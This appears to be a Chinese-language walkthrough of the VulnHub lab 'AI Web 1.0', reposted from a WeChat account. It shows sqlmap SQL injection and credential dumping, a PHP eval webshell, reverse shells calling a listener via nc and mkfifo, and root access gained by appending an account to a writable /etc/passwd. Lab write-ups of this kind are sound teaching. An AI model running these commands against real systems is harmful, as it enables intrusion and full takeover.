靶场的搭建
设备:vm虚拟机,靶场的镜像,kali
靶场的镜像我已经放在下面的百度网盘链接了,解压之后直接用vm打开就可以了:
链接:https://pan.baidu.com/s/14cWClfqhuueQK5ayHjDB7Q 提取码:hhy8
信息收集
主机扫描
netdiscover
kali的netdircover扫描一下存活的主机
除了物理机,kali外,剩下的就是靶场的ip;192.168.2.128,这里要注意的是,扫描的网段是nat模式的网段,可以在虚拟机的网络编辑器上看。
netdiscover -r 192.168.2.0/24
扫描到主机的ip为:192.168.2.128
nmap
nmap -sP 192.168.2.0/24
LanSee局域网工具扫描
设置好扫描网段,开始扫描
端口扫描
nmap -sS -sV -A -n 192.168.2.128
发现apache的80端口是开的,http服务是开启的,访问一下网址看看,发现没有什么东西
目录扫描
用御剑扫描一下看看有什么有用的文件路径
发现robots.txt文件(Robots协议也称为爬虫协议)
我们访问一下这个路径
发现有很多路径 ,都访问看看有没有什么信息提示
se3reTdir777目录
后退上级目录发现有一个提交框
判断是否有SQL注入,提交不同的id,发现回显,说明存在SQL注入
用sqlmap自动注入
bp抓包
保存为1.txt
爆出数据库
python sqlmap.py -r "D:1.txt" --dbs
爆出数据表
python sqlmap.py -r "D:1.txt" -D aiweb1 --tables
爆出数据表的列名
python sqlmap.py -r "D:1.txt" -D aiweb1 -t users --columns
爆出users表的数据
python sqlmap.py -r "D:1.txt" -D aiweb1 -t users --dump
爆出systemUser表的数据
python sqlmap.py -r "D:1.txt" -D aiweb1 -T systemUser --dump
密码是经过加密的,base64解密后看看
FakeUserPassw0rd
MyEvilPass_f908sdaf9_sadfasf0sa
N0tThis0neAls0
但是目前没有发现登录的后台,无法登录,先保存下来
m3diNf0目录
用dirb扫描一下
dirb http://192.168.2.128/m3diNf0/
发现有一个info.php的文件
漏洞利用
info.php的文件这个文件保存很多系统服务器的信息,访问一下看看
发现文件绝对路径:/home/www/html/web1x443290o2sdf92213 用户:www-data
eval函数没禁用,可以编写一句话木马上传
那现在就可以在uploads/路径下上传文件,通过sqlmap进行写入一个木马文件。
获取shell
尝试使用sqlmap的–os-shell命令getshel
原理:通过into outfile/into dumpfile写文件的方式进行文件写入
os-shell执行条件有三个:1.网站必须是root权限2.网站的绝对路径已知3.GPC为off(php主动转义的功能关闭)
python sqlmap.py -u "http://192.168.2。128/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell
sqlmap上传一句话木马
编写一句话木马1.php
@eval($_POST['123']);
上传一句话木马--file-write:去读取文件(当前目录下的1.php)--file-dest:后面加我们向目标写的文件,目标url:
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,把这个文件上传到123.php这个地址,现在我们就在uploads这个命令下写好了1.php文件
sqlmap -u "http://192.168.2.128/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
上传成功
虽然php一句话木马看不见,但是我们可以看到是存在这个 页面的
蚁剑连接
连接成功
查看用户权限
发现我们只有www-data的权限,权限不足
nc反弹shell
反弹shell的作用看这一篇:
https://blog.csdn.net/weixin_44288604/article/details/111740527?fromshare=blogdetail&sharetype=blogdetail&sharerId=111740527&sharerefer=PC&sharesource=2301_77091612&sharefrom=from_link
攻击端;kali(192.168.2.129)开启端口监听,监听7777端口
nc -lvvp 7777
靶机端:蚁剑终端上nc反弹:(-e参数不可用)
nc -e /bin/bash 192.168.2.128 7777
rm /tmp/f #rm 删除文件 因为要保证没有/tmp/f 这个文件
mkfifo /tmp/f #mkfifo :创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.129 7777 >/tmp/f
反弹shell成功
提权
当我们反弹shell后要提高权限才能成为root账户
查看有哪些文件有读写的权限
find / -writable -type f 2>/dev/null
发现最敏感的文件有读写的权限,因为之前已经拿到了webshell了,我们可以直接将信息写入到此文件中
我们先进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
用find保存查询的结果放在目录/tmp下
find / -writable -type f 2>/dev/null > /tmp/writableFiles
我们可以看到文件已经保存到靶机啦,下载下来看看有没有什么可疑的文件
c0nFil3bd.php这个文件可疑,不太像自带的文件,看一下是什么文件
我们惊奇的发现我们得到了数据库密码和用户名,但是我们要在/etc/passwd文件添加账户,前面我们知道该文件具有写权限(可以直接写入进去,也可以利用命令行)
格式:
root:x:0:0:root:/root:/bin/bash
x为密码
我们发现这些账号是没有密码的,但是sudo密码验证失败,必须生成一个有密码的账户,我们可以利用python的加密库生成Linux 系统用户密钥
写进etc/passwd中
echo 'huang:hucY8XJObbxR6:0:0:root:/root:/bin/bash'>>/etc/passwd
切换到huang用户,输入密码123456
提权成功,接下来就是进入root目录找flag在哪了
成功得到flag
0基础网安小白,如有雷同纯属q和我一起自律轻松学习,可关注微信公众号【Cauchy安全 】
参考文章:
https://blog.csdn.net/Continuejww/article/details/135278393?fromshare=blogdetail&sharetype=blogdetail&sharerId=135278393&sharerefer=PC&sharesource=2301_77091612&sharefrom=from_link
原文始发于微信公众号(Cauchy安全):VulnHub靶场之AI Web 1.0超易懂反弹shell提权cat flag
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论